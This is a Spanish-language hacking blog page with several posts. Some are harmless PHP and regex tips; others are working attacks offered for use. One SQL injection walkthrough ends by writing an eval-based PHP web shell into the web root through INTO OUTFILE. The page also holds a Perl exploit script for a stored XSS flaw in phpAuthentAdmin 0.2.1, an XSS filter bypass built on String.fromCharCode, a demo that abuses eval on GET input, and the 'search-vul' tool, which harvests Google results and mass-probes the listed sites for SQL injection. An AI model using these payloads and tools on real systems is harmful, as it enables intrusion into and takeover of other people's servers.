skip to main | skip to sidebar
Yoyahack
El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe
RSS
  • Home
  • Admin
  • Undersecurity
  • CPAN - Perl
  • PHP

Explicación de INTO OUTFILE en una Inyección SQL

MYSQL, Nivel web, php, vurnerabilidad 3 comentarios

Buenas, muchas veces la personas no saben usar correctamente o no saben como funciona el comando INTO OUTFILE en MYSQL...


Bueno tengo este código PHP vulnerable

<?php
$link = mysql_connect('127.0.0.1','root', 'pass');
mysql_select_db('ejemplo', $link);

$sql = mysql_query('select * from ejemplo where id='.$_GET['id'], $link);
if(mysql_errno($link))
{
echo mysql_error($link);
exit;
}

while($row = mysql_fetch_assoc($sql))
{
echo $row['id']."<br>".$row['titulo']."<br>".$row['contenido']."<br>".$row['parent'];
}
?>
La estructura de la tabla ejemplo, es la siguiente:
mysql> describe ejemplo;
+-----------+-----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| titulo | char(20) | NO | | NULL | |
| contenido | char(255) | NO | | NULL | |
| parent | char(50) | NO | | NULL | |
+-----------+-----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

Bueno el código PHP es vulnerable ya que no filtra correctamente el input id que se envía vía GET y por lo tanto podemos manipular la consulta SQL.

El siguiente paso seria saber el user y el host de la conexión MYSQL que se esta usando, podemos usar el comando user()... Para esto vamos a usar el comando UNION ALL, para combinar las consultas, teniendo en cuenta que debemos tener el mismo numero de columna que el SELECT anterior. Bueno como el primer SELECT hace la consulta a todos los campos de la Tabla ejemplo y la tabla ejemplo tiene 4 columnas, pasaremos a hacer la consulta SQL:

mysql> select * from ejemplo where id=1 union all select 1,2,3,4;
+----+---------+--------------------+--------+
| id | titulo | contenido | parent |
+----+---------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| 1 | 2 | 3 | 4 |
+----+---------+--------------------+--------+
La petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select 1,2,3,4
Bueno usamos user() para saber el actual usuario y el host.
mysql> select * from ejemplo where id=1 union all select user(),2,3,4;
+----------------+---------+--------------------+--------+
| id | titulo | contenido | parent |
+----------------+---------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| root@localhost | 2 | 3 | 4 |
+----------------+---------+--------------------+--------+
La petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select user(),2,3,4
Salida: root@localhost

Bueno ahora nos toca saber si el usuario el usuario tienes permiso FILE.

Nota: El permiso FILE permite al usuario usar los comandos into outfile y load_file().



mysql> select * from ejemplo where id=1 union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
+--------------------------------------------------+-----------+--------------------+--------+
| id | titulo | contenido | parent |
+--------------------------------------------------+-----------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| root | localhost | 3 | 4 |
+--------------------------------------------------+-----------+--------------------+--------+

La petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
salida: rootlocalhost

Bueno como el usuario tiene permiso FILE podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...

Mi DocumentRoot se encuentra en /var/www/html. Debemos tener en cuenta que para utilizar into outfile la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y que el directorio tenga permiso de escritura. Debemos indicar donde queremos guardar el archivo cuando usamos el comando INTO OUTFILE.

Bueno realizare la siguiente petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select "<?php @eval($_GET['exec']); ?>",2,3,4 into outfile "/var/www/html/exec.php"
Bueno, ahora pasamos a ejecutar el archivo exec.php pasando la query exec para que se ejecute la función eval.
Luego ejecutamos el archivo exec.php pasandole el valor a la query exec phpinfo(), que nos sirve para mostrarnos la configuración de PHP.

http://127.0.0.1/exec.php?exec=phpinfo();


Saludos.


20:07



Passive Group - Expresiones Regulares

Nivel web, php, programacion, Regexp 0 comentarios

Buenas, los Passive Group se usan para no crear una referencia... Si tengo el siguiente patrón

<?php
preg_match('/(hola)/','hola', $salida);
echo $salida[1];
?>
La salida es hola, el primer paréntesis crea la primera referencia, si existe otro paréntesis creara una segunda referencia, etc... Si usamos Passive Group este no creara una referencia...
<?php
preg_match('/(?:h)(ola)/','hola', $salida);
echo $salida[1];
?>

La salida es ola, en el primer paréntesis uso el Passive Group para no crear una referencia pero en el segundo creo una referencia que seria la primera referencia...

Saludos.


7:41



[PHP Class] HttpLoginConnect

Herramientas, Nivel web, php, POO, programacion 0 comentarios

HttpLoginConnect



HttpLoginConnect es una clase hecha en PHP, especialmente preparada para la validación de datos de un login...

Descripción: HttpLoginConnect valida los datos de un login, verifica que la validación de datos sea correcta y captura la cookie que mandar el servidor, para su posterior uso... Se puede realizar peticiones GET al servidor usando la cookie capturada.

Característica:

  • Validación de datos
  • Uso de Cookie
  • Permite enviar peticiones GET con el uso de cookie
  • Permite parámetros opcionales para enviarlo via POST

Requerimientos:
  • Apache
  • PHP5
  • PHP-Curl
Documentacion
Source

Saludos.


16:59



Mysql Connection Hijacking

MYSQL, Nivel web, php, programacion, vurnerabilidad 0 comentarios

Buenas, hace poco estaba leyendo un White-paper, que mostraba la importancia de la función mysql_close(), que sirve para cerrar conexiones mysql no-persistente, algunas personas no lo usan ya que la conexión se cierra al final del script, otras personas no le dan importancia...

Bueno para entender como funciona, que mejor que un ejemplo:

Este es el código vulnerable:


<?php
$connect = mysql_connect('127.0.0.1','root','password');
mysql_select_db('ejemplo',$connect);

if(mysql_query('select * from nombres where id=1;')){
echo "Consulta ejecutada";
}else{
echo "No se pudo ejecutar la consulta<br><br>";
}
if(isset($_GET['v']))
{
eval($_GET['v']);
}


?>

En este caso como no se ah cerrado la conexión mysql no-persistente y tampoco ah finalisado el script puedo hacer uso de la conexión mysql...


http://127.0.0.1/script.php?v=$sql = mysql_query('select * from nombres');while ($row = mysql_fetch_assoc($sql)){ echo "<br>".$row['nombre'];}

Salida:


Consulta ejecutada
edwin
jose
jesus


Saludos.


Referencias:
Hijacking
MySQL


9:14



¿empty o isset?

Nivel web, php, programacion 4 comentarios

Buenas, aveces tenemos que verificar el contenido de una variable pero mucha veces usamos isset o empty para verificar pero son muy diferente las dos...


Basta con preguntarse porque en php existiría una función con diferente nombre pero con el mismo resultado....

Ps la correcta forma para verificar si una variable esta vacía es empty ya que determina si una variable esta vacía... isset se usa para saber si una variable esta definida...

Saludos....


16:39



Capturacion global con Expresiones Regulares en Perl y PHP

Nivel web, perl, php, programacion, Regexp 0 comentarios

Buenas, aveces necesitamos hacer una captura global con expresiones regulares, ya que cuando encuentra el primer patron hay termina la expresion termina...

Aunque en Perl nunca tuve ese problema en PHP, así que muestro la manera de hacerlo con PHP y Perl.

Perl

En Perl necesito usar el operador de opción g mas una sentencia infinita, en este caso while...



#!/usr/bin/perl -w

$txt = "Hola adios Hola aqwq ds iifndini Hola";

while($txt =~ m/(Hola+)/g){

print $1, "\n";

}

exit;

Salida:


yoya@yoya-desktop:~/Escritorio$ perl d.pl
Hola
Hola
Hola

PHP


En PHP necesito usar la función preg_match_all.


<?php

$txt = "Hola adios Hola aqwq ds iifndini Hola";
preg_match_all("/(Hola+)/", $txt, $captura, PREG_SET_ORDER);
foreach ($captura as $salida){
echo $salida[1];
echo "\n";
}


?>




Salida:


yoya@yoya-desktop:~/Escritorio$ php a.php
Hola
Hola
Hola



Referencias:
Expresiones Regulares


9:37



phpAuthentAdmin 0.2.1 permanent XSS

Exploit, Nivel web, perl, vurnerabilidad, XSS 0 comentarios

Bueno hace poco publique un exploit en security focus, para insetar un código javascript permanente...


#!/usr/bin/perl
#Autor: Yoyahack
#Web: http://undersecurity.net
#Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....

use LWP::UserAgent;
use HTTP::Request::Common;

#Source

print q(---------------------------------
Autor: Yoyahack
Web: http://undersecurity.net
Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....
---------------------------------
);

if(!$ARGV[0]){
print "Insert web\n";
print "Ex: www.webpage.comhttp://www.webpage.com\n";
exit;
}

$xss = qq();
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.2pre)".
"Gecko/20100308 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre");

$response = $ua->request(
POST "http://$ARGV[0]/phpauthent/phpauthentadmin/useradd.php?action=create",
{
action => 'changerealname',
name => $xss,
action => 'rename',
login => 'aaa',
action=> 'password',
password => 'XSS',
action => 'changeemail',
email => 'XSS',
},
'Cookie' => 'PHPSESSID=cf1c170aa9d334d6cec1514e721573e6',
);
$loc = 'index.php?msg=001';
if($loc eq $response->header('location')){
print "\n\nExploit send!\n";
exit;
}
print "\n\nExploit Faield\n";


Referencias:
Info security focus


21:26



Bypass de magic_quotes_gpc() para explotar XSS via POST

Herramientas, Nivel web, php, vurnerabilidad, XSS 1comentarios

Buenas, algunas veces necesitamos explotar un XSS via GET o via POST, pero nos no dejas porque al parecer tienen ON la directiva magic_quotes_gpc (Get, Post, Cookie), que nos escapa las comillas dobles y simples a barras invertidas, esto puede ser un problema al principio pero esto se puede bypassear con la función String.fromCharCode(), ahora sito el texto:

Este es un método global del objeto String que crea una cadena a partir de los
códigos Unicode que se le pasen como parámetros.

Bueno, para resumir, para poder explotar las magic_quotes_gpc, solo es necesario insertar un código javascript que no contenga comillas dobles y simples, para esto nos ayudara la función de javascript String.fromCharCode().


Bueno, primero debo saber si tengo la directiva On en el php.ini

root@yoya-desktop:/# cat /etc/php5/apache2/php.ini|grep magic_quotes_gpc
magic_quotes_gpc = On
Con esto ya sabemos que tenemos la directiva magic_quotes_gpc On.

Nota: Apartir de PHP 5.3.0 la directiva magic_quotes_gpc viene por defecto Off y apartir de la versión 6 de PHP sera eliminada.

Explotaremos el siguiente archivo:

<?php
/*Archivo proc.php*/
/*Explotando XSS con magic_quote_gpc ON*/

$var = $_POST['form1'];
$var2 = $_POST['form2'];

if(!empty($var) && !empty($var2))
{
echo "El primer valor es: ", $var;
echo "<br>";
echo "El segundo valor es: ", $var2;
exit;
}
?>
<form name="Formulario" action="proc.php" method="POST">
<p>Ingrese el primer parametro</p>
<input name="form1" type="txt" size="30">
<p>Ingrese el Segundo parametro</p>
<input name="form2" type="txt" size="30">
<br>
<input type="submit" value="Enviar">
</form>



Ok, luego presionamos enviar y aparecerá lo siguiente:

El primer valor es: \"Probando \"comillas dobles\"
El segundo valor es: \'Probando comillas simples\'

Podemos ver que nos a escapado las comillas dobles y simple con barras invertidas,
ok, si ponemos en el formulario, ok ahora usaremos la funcion String.fromCharCode() para pasar los parámetros necesario para ejecutar XSS pero lo tendremos que pasar en ascii, tengo hice una herramienta en perl para su uso.


#!/usr/bin/perl
#Code by Yoyahack
#yoyahack.blogspot.com
#Undersecurity.net

if(!$ARGV[0]){
print "Usage perl $0 <text>\n";
print "Ex: perl $0 yoyahack\n";
exit;
}
print "La cadena convertida a ASCII es:\n";
print join ',', unpack "U*", $ARGV[0];
print "\n";
exit;

Ok, la vamos a pasar y vamos a pasar el siguiente parametro a la tool en perl:

<script>alert("Buenas, esto es un ejemplo")</script>

Y nos devolverá:

60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62


Ok ahora insertamos lo siguiente en el formulario:

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62))</script>


Y el resultado:


Bueno, esto era todo...

Saludos.


11:12



Ejemplo de PHP POO ( Programación orientada a objectos)

php, programacion 1comentarios

Ejemplo de PHP POO (Programación orientada a objectos), para que vean mas o menos como funciona xD.


<?php

class info {
private $nombre;
private $apellido;
private $edad;

public function __construct($nom,$lname, $age)
{
$this->nombre = $nom;
$this->apellido = $lname;
$this->edad = $age;
}

public function nombree()
{
echo "El nombre es ".$this->nombre;
echo '<br>';
}

public function apellidoo()
{
echo "El apellido es ".$this->apellido;
echo '<br>';
}

public function edadd()
{
echo "La edad de ".$this->nombre." es ".$this->edad;
echo '<br>';
}

public function mostrar()
{
echo $this->nombree();
echo $this->apellidoo();
echo $this->edadd();

}

}//Fin de la clase

$info = new info('Yoya','hack', '99');
$info->mostrar();

?>


14:09



search-vul 0.4

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno aquí mi tool, search-vul 0.4, con algunas optimaciones, arreglos, y detecta si existen varios Query_String en la url y un help para su uso xD.






=pod
Autor: Yoyahack
name: search-vul
verion: 0.4
Mail: yoyahack@undersecurity.net
Web: www.yoyahack.blogspot.com
Webs: www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
_ _
___ ___ __ _ _ __ ___| |__ __ ___ _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \ __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_| \___|_| |_| \_/ \__,_|_|

=cut

#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut

#Modulos

use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;

#Code

print q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································
);

print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
--help
);

#Opciones
GetOptions("google=s" => \$google,
"googles=s" => \$googles,
"vul=s" => \$vul,
"dns=s" => \$dns,
"num=s" => \$num,
"help" => \$help);

if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};
if($help){&help}

sub google{

###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);

###########################################################
while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {

my $enlace = $1;
open (SE,">>busqueda.txt");
print SE "$enlace\n";
close (SE);
print "$enlace\n";
}
}



sub googles{

###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
{
chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);

###########################################################
while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
my $enlace1 = $1;

open (SS,">>googles.txt");
print SS "$enlace1\n";
close (SS);
print "$enlace1\n";
}
}
}


sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
{
chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
###########################################################
$pag .= '&';
if($pag =~ m/&{2}/ig){
}else{
while ($pag =~ m/\&/g) {
$regex = $pag;
substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
my $tofo3 = scalar(split("\n",get($regex)));
$regex2 = $pag;
substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
my $tofo4 = scalar(split("\n",get($regex2)));
if($tofo3 ne $tofo4 || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL "$pag\n";
close (SS);
}
}
}
##########################################################
my $fuente = get($iny1);
my $tofo = scalar(split("\n",$fuente));

my $result = get($iny2);
my $todo = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································

);
print VUL "$pag\n";
close (SS);
print "[+]$pag es vurnerable a SQLI\n";
print "!guardada exitosamente\n";
} else {
print "\n$pag no es vurnerable a SQLI\n";
}
}
}

sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");

while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){

open (DNS,">>reverse_dns.txt");
print DNS "$1\n";
close (DNS);
print "$1\n";

}
if ($result =~ /valid IP address/) {

print "Not found\n";
}
}


sub help {
&erase;
print q(
##############################
1 --google <busqueda> --num <numero>

Buscar paginas de google.com y indica el numero de pagina a buscar
perl script.pl --google ola --num 10
##############################
#////
##############################
2 --googles <busqueda> --num <numero>

perl script.pl --googles ola --num 10
Buscar pagina de distinto servidores googles
##############################
#////
##############################
3 --vul <file.txt>

perl script.pl --vul archivo.txt
Escanea un archivo que contenga distinta pagina y verifica las vurnerables
##############################
#////
##############################
4 --dns <site>

perl script.pl --dns www.pagina.com
Reverse dns
##############################
#////
);
}

sub erase{
$os = "$^O";
if ("linux" == "$os"){
return system('clear');
}else{
return system('cls');}
}

sub get {
my $pagina = $_[0];

my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");

my $busqueda = new HTTP::Request GET => $pagina;
my $resultado = $ua->request($busqueda);
$ua->timeout(7) || die "Conecction faield";
my $result = $resultado->content();
}


13:52



Entradas más recientes Entradas antiguas Inicio
Suscribirse a: Entradas (Atom)

    Fedora 15

    FayerWayer

    Cargando...

    Twitter

    Follow @Yoyahack

    Categoria

    • Captcha (1)
    • Exploit (1)
    • Herramientas (10)
    • MYSQL (2)
    • Nivel web (24)
    • Noticias (2)
    • Offtopic (2)
    • perl (11)
    • php (12)
    • POO (1)
    • programacion (19)
    • Regexp (2)
    • Tips (1)
    • vurnerabilidad (7)
    • XSS (2)

    Blog Archive

    • ►  2012 (1)
      • ►  abril (1)
    • ►  2011 (6)
      • ►  octubre (1)
      • ►  septiembre (1)
      • ►  agosto (1)
      • ►  junio (1)
      • ►  marzo (2)
    • ▼  2010 (10)
      • ▼  octubre (2)
        • Explicación de INTO OUTFILE en una Inyección SQL
        • Passive Group - Expresiones Regulares
      • ►  septiembre (1)
        • [PHP Class] HttpLoginConnect
      • ►  agosto (1)
        • Mysql Connection Hijacking
      • ►  junio (1)
        • ¿empty o isset?
      • ►  abril (2)
        • Capturacion global con Expresiones Regulares en Pe...
        • phpAuthentAdmin 0.2.1 permanent XSS
      • ►  febrero (3)
        • Bypass de magic_quotes_gpc() para explotar XSS via...
        • Ejemplo de PHP POO ( Programación orientada a obje...
        • search-vul 0.4
    • ►  2009 (15)
      • ►  noviembre (1)
      • ►  octubre (1)
      • ►  septiembre (10)
      • ►  agosto (3)

    Afiliados

    • ANTRAX
    • drvy
    • hachik0
    • Ksha
    • kt0sh
    • Lord RNA
    • Panic
    • pks
    • seth
    • SH4V
    • snakingmax